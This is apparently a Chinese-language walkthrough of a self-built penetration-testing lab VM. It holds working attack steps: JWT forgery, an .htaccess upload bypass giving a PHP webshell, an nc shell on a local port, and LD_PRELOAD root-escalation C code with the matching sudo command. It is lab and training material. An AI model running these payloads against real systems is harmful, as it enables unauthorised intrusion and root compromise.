banner
言心吾

言心吾のBlog

吾言为心声

自制靶机 WP

端口扫描#

仅开放了 22,80 端口

WEB#

网站首页是一个纯静态页面,查看注释可发现隐藏目录

image

base64 解码得路径/74221

登录框有一个弱口令test:123456, 登录进去

image

提示没有文件上传的权限,结合 cookie 字段联想到伪造 jwt 越权

这里留了两个口子:可以用空密钥,也可以爆破出密钥为jwtsecret123

伪造成功后,查看 dashboard 界面会发现我们的身份是 admin

image
接着来到上传文件处,仅允许上传 jpg 或 png 后缀的文件

image

测试后会发现能上传.htaccess 文件,故上传之,内容如下

AddType application/x-httpd-php .jpg

此时再上传一个 jpg 图片马即可拿到 webshell

后渗透#

www-data to pentester#

找到两个密文,它们分别藏在
/etc/passwd
/srv/...

密文如下:

Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...

Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu...

仔细观察后发现,两段文字有区别的地方就是 1,没区别的就是 0,可以得到一串二进制数,转为 bytes 可以得到密码

参考解法:

cat a.txt|sed 's/./&\n/g' >aa.txt
cat b.txt|sed 's/./&\n/g' >bb.txt
paste aa.txt bb.txt|awk '{if($1==$2){print 0}else{print 1}}'|xargs|tr -d ' '|fold -w8 | while read bin; do printf "%02X" "$((2#$bin))"; done | xxd -r -p

image

获得 pentester 用户的密码 Y0U_5M4SH3D_17_8UDDY

pentester to xiix#

注意 sudo find 是个兔子洞,过滤了可能导致提权的选项(当然如果你真的通过该后门提权到 root 算你厉害)

image

查看端口发现 8989 开放

其实它对应着一个每分钟触发的 python 脚本

image

nc 127.0.0.1 8989 输入上面拿到的密码,即可拿到 xiix 用户的 shell,由于不是交互式 shell,故可以写入公钥文件持久化

image

xiix to root#

guess_name 脚本猜数,成功概率为 1%,可以编写多线程脚本爆破。此处藏了两个后门:env 查看环境变量,输入 1337 即可通关;

image

image

此外脚本运行时会将密码写入隐藏文件 /tmp/.hidden_clue

运行pspy -f便可检测到:

image

Anyway,拿到 xiix 用户密码superxiix

然后 sudo -l,发现有 env_keep+=LD_PRELOAD
image

这是一个经典的提权点

首先编译 shell.so:

#include <stdio.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然后执行:sudo LD_PRELOAD=/home/xiix/shell.so whoami,即可获得 root shell。

image

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。